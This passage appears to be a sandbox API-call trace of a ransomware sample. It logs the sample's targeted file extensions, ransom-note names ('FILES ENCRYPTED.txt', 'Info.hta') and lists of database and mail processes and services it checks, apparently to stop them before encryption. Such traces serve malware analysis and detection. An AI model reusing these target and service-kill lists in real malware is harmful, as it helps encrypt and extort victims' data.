(Heap=0x490000, Flags=0x0, Ptr=0x4d5000, Size=0x200) returned 0x4d5000 [0059.964] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d5000, Size=0x400) returned 0x4d5000 [0059.964] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d5000, Size=0x800) returned 0x517718 [0059.964] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x517718, Size=0x1000) returned 0x517718 [0059.964] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cf1e8, Size=0x8) returned 0x4cf198 [0059.964] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cf198, Size=0x10) returned 0x51abf0 [0059.964] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x51abf0, Size=0x20) returned 0x4cea40 [0059.964] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cea40, Size=0x40) returned 0x4aa138 [0059.964] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4aa138, Size=0x80) returned 0x517590 [0059.964] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x517590, Size=0x100) returned 0x4d5000 [0059.964] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d5000, Size=0x200) returned 0x4d5000 [0059.965] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d5000, Size=0x400) returned 0x4d5000 [0059.965] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d5000, Size=0x800) returned 0x52e380 [0059.965] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0059.965] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x517718 | out: hHeap=0x490000) returned 1 [0059.965] lstrlenW (lpString="") returned 0 [0059.965] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f7658 | out: hHeap=0x490000) returned 1 [0059.965] lstrlenW (lpString=".NEWS") returned 5 [0059.965] lstrlenW (lpString=".NEWS") returned 5 [0059.965] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f7700 | out: hHeap=0x490000) returned 1 [0059.965] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4f7700, Size=0x20) returned 0x4ceb30 [0059.965] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ceb30, Size=0x40) returned 0x4aa060 [0059.965] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4aa060, Size=0x80) returned 0x517260 [0059.965] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x52e278, Size=0x8) returned 0x52e1a8 [0059.965] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x52e1a8, Size=0x10) returned 0x4f7700 [0059.965] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4f7700, Size=0x20) returned 0x4ceb80 [0059.965] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0059.965] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x517260 | out: hHeap=0x490000) returned 1 [0059.965] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4f76a0, Size=0x20) returned 0x4cece8 [0059.965] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cece8, Size=0x40) returned 0x4aa060 [0059.965] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0059.965] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0059.965] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4aa060 | out: hHeap=0x490000) returned 1 [0059.965] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4f76a0, Size=0x20) returned 0x4cea68 [0059.965] lstrlenW (lpString="Info.hta") returned 8 [0059.965] lstrlenW (lpString="Info.hta") returned 8 [0059.965] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4cea68 | out: hHeap=0x490000) returned 1 [0059.966] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4f7720, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 0x52 [0059.966] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f7720 | out: hHeap=0x490000) returned 1 [0059.966] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0059.966] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ceb80, Size=0x40) returned 0x4aa258 [0059.966] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4f76a0, Size=0x20) returned 0x4ce9c8 [0059.966] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4f76a0, Size=0x20) returned 0x4cea68 [0059.966] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cea68, Size=0x40) returned 0x4aa720 [0059.966] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4aa720, Size=0x80) returned 0x517260 [0059.966] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x517260, Size=0x100) returned 0x4d5000 [0059.966] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0059.966] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d5000 | out: hHeap=0x490000) returned 1 [0059.966] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x4f7720, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0059.966] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x52eb88 | out: hHeap=0x490000) returned 1 [0059.967] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f7720 | out: hHeap=0x490000) returned 1 [0059.967] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x52e1d8, Size=0x8) returned 0x52e2c8 [0059.967] lstrlenW (lpString="%windir%;") returned 9 [0059.968] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ce9c8 | out: hHeap=0x490000) returned 1 [0059.968] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0059.968] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e6710 | out: hHeap=0x490000) returned 1 [0059.968] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4f6770, Size=0x20) returned 0x4ceab8 [0059.968] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ceab8, Size=0x40) returned 0x4aa570 [0059.968] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4aa570, Size=0x80) returned 0x5168d0 [0059.968] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x5168d0, Size=0x100) returned 0x4d5000 [0059.968] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x52e1c8, Size=0x8) returned 0x52e238 [0059.968] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x52e238, Size=0x10) returned 0x4f6758 [0059.968] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4f6758, Size=0x20) returned 0x4ce9c8 [0059.968] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x52e208, Size=0x8) returned 0x52e218 [0059.968] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x52e1e8, Size=0x8) returned 0x52e348 [0059.968] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x52e228, Size=0x8) returned 0x52e358 [0059.968] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x52e358, Size=0x10) returned 0x4f6848 [0059.968] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4f6848, Size=0x20) returned 0x4cea68 [0059.968] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x52e218, Size=0x10) returned 0x4f68f0 [0059.968] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x52e348, Size=0x10) returned 0x4f6848 [0059.969] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x52e238, Size=0x8) returned 0x52e1d8 [0059.969] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x52e308, Size=0x8) returned 0x52e228 [0059.969] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4f68f0, Size=0x20) returned 0x4ceb30 [0059.969] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4f6848, Size=0x20) returned 0x4cec70 [0059.969] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x52e308, Size=0x8) returned 0x52e208 [0059.969] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0059.969] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d5000 | out: hHeap=0x490000) returned 1 [0059.969] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4f6980, Size=0x20) returned 0x4ceb80 [0059.969] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x4e6710, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0059.969] lstrlenW (lpString="C:\\") returned 3 [0059.969] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0059.969] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e6710 | out: hHeap=0x490000) returned 1 [0059.970] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x52e238, Size=0x82) returned 0x4d5090 [0059.970] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x52e358, Size=0x100) returned 0x4d5120 [0059.970] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d5090, Size=0x104) returned 0x4d5348 [0059.970] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d5120, Size=0x200) returned 0x517718 [0059.971] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x52e348 | out: hHeap=0x490000) returned 1 [0059.971] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x517718 | out: hHeap=0x490000) returned 1 [0059.971] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f6788 | out: hHeap=0x490000) returned 1 [0059.971] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x517480 | out: hHeap=0x490000) returned 1 [0059.971] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f6a40 | out: hHeap=0x490000) returned 1 [0059.971] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x517040 | out: hHeap=0x490000) returned 1 [0059.971] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f6938 | out: hHeap=0x490000) returned 1 [0059.971] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d5348 | out: hHeap=0x490000) returned 1 [0059.971] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f6878 | out: hHeap=0x490000) returned 1 [0059.971] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d5228 | out: hHeap=0x490000) returned 1 [0059.971] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f6950 | out: hHeap=0x490000) returned 1 [0059.971] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d52b8 | out: hHeap=0x490000) returned 1 [0059.971] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f68a8 | out: hHeap=0x490000) returned 1 [0059.971] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4f67a0, Size=0x20) returned 0x4ceba8 [0059.971] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ceba8, Size=0x40) returned 0x4aa060 [0059.972] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x52e308 | out: hHeap=0x490000) returned 1 [0059.972] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f6848 | out: hHeap=0x490000) returned 1 [0059.972] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d5000 | out: hHeap=0x490000) returned 1 [0059.972] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f6a28 | out: hHeap=0x490000) returned 1 [0059.972] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x516c00 | out: hHeap=0x490000) returned 1 [0059.972] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f69e0 | out: hHeap=0x490000) returned 1 [0059.972] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x52e218 | out: hHeap=0x490000) returned 1 [0059.972] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f6860 | out: hHeap=0x490000) returned 1 [0059.972] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a5560 | out: hHeap=0x490000) returned 1 [0059.972] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a6358 | out: hHeap=0x490000) returned 1 [0059.972] lstrlenW (lpString="%systemdrive%") returned 13 [0059.972] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ceb80 | out: hHeap=0x490000) returned 1 [0059.972] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x516fb8 | out: hHeap=0x490000) returned 1 [0059.972] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x52e278 | out: hHeap=0x490000) returned 1 [0059.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x51cf50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270 [0059.973] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4ac0f8*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x11d0 Thread: id = 4 os_tid = 0xd60 [0060.020] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4f6938 [0060.020] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4f6938, Size=0x20) returned 0x4cebf8 [0060.020] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cebf8, Size=0x40) returned 0x4aa408 [0060.020] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4aa408, Size=0x80) returned 0x516fb8 [0060.020] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x516fb8, Size=0x100) returned 0x4d5210 [0060.021] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4f6758 [0060.021] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4f6758, Size=0x20) returned 0x4ceba8 [0060.021] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ceba8, Size=0x40) returned 0x4aa378 [0060.021] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4aa378, Size=0x80) returned 0x516ea8 [0060.021] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x516ea8, Size=0x100) returned 0x4d5318 [0060.021] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4f6a28 [0060.021] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x52e308 [0060.021] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4f6878 [0060.021] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x52e308, Size=0x8) returned 0x52e358 [0060.021] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x14) returned 0x4a6358 [0060.021] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x52e358, Size=0x10) returned 0x4f6758 [0060.021] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x18) returned 0x4a63b8 [0060.021] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1a) returned 0x4cecc0 [0060.021] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4f6758, Size=0x20) returned 0x4ce888 [0060.021] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1c) returned 0x4ceab8 [0060.021] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x16) returned 0x4a6578 [0060.021] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1a) returned 0x4cea90 [0060.021] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4f6758 [0060.021] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x52e358 [0060.021] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x40) returned 0x4aa570 [0060.021] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x52e358, Size=0x8) returned 0x52e1b8 [0060.021] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x3c) returned 0x4aa720 [0060.021] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x52e1b8, Size=0x10) returned 0x4f68a8 [0060.021] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x14) returned 0x4a6778 [0060.021] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x18) returned 0x4a65b8 [0060.021] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4f68a8, Size=0x20) returned 0x4cece8 [0060.021] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x24) returned 0x4a56b0 [0060.021] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0060.021] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d5210 | out: hHeap=0x490000) returned 1 [0060.021] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0060.022] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d5318 | out: hHeap=0x490000) returned 1 [0060.022] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4ce860 [0060.022] EnumServicesStatusExW (in: hSCManager=0x4ce860, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 0 [0060.022] GetLastError () returned 0xea [0060.022] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1d5a) returned 0x4e8718 [0060.023] EnumServicesStatusExW (in: hSCManager=0x4ce860, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4e8718, cbBufSize=0x1d5a, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4e8718, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 1 [0060.023] CloseServiceHandle (hSCObject=0x4ce860) returned 1 [0060.024] lstrlenW (lpString="Appinfo") returned 7 [0060.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0060.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0060.024] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0060.024] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0060.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0060.024] lstrlenW (lpString="AppXSvc") returned 7 [0060.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0060.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0060.024] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0060.024] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0060.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0060.024] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0060.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0060.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0060.024] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0060.024] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0060.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0060.024] lstrlenW (lpString="Audiosrv") returned 8 [0060.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0060.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0060.024] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0060.024] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0060.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0060.024] lstrlenW (lpString="BFE") returned 3 [0060.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0060.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0060.024] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0060.024] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0060.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0060.024] lstrlenW (lpString="BITS") returned 4 [0060.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0060.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0060.025] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0060.025] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0060.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0060.025] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0060.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0060.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0060.025] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0060.025] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0060.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0060.025] lstrlenW (lpString="CDPSvc") returned 6 [0060.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0060.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0060.025] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0060.025] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0060.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0060.025] lstrlenW (lpString="ClickToRunSvc") returned 13 [0060.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0060.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0060.025] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0060.025] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0060.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0060.025] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0060.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0060.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0060.025] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0060.026] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0060.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0060.026] lstrlenW (lpString="CryptSvc") returned 8 [0060.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0060.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0060.026] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0060.026] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0060.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0060.026] lstrlenW (lpString="DcomLaunch") returned 10 [0060.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0060.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0060.026] lstrcmpiW 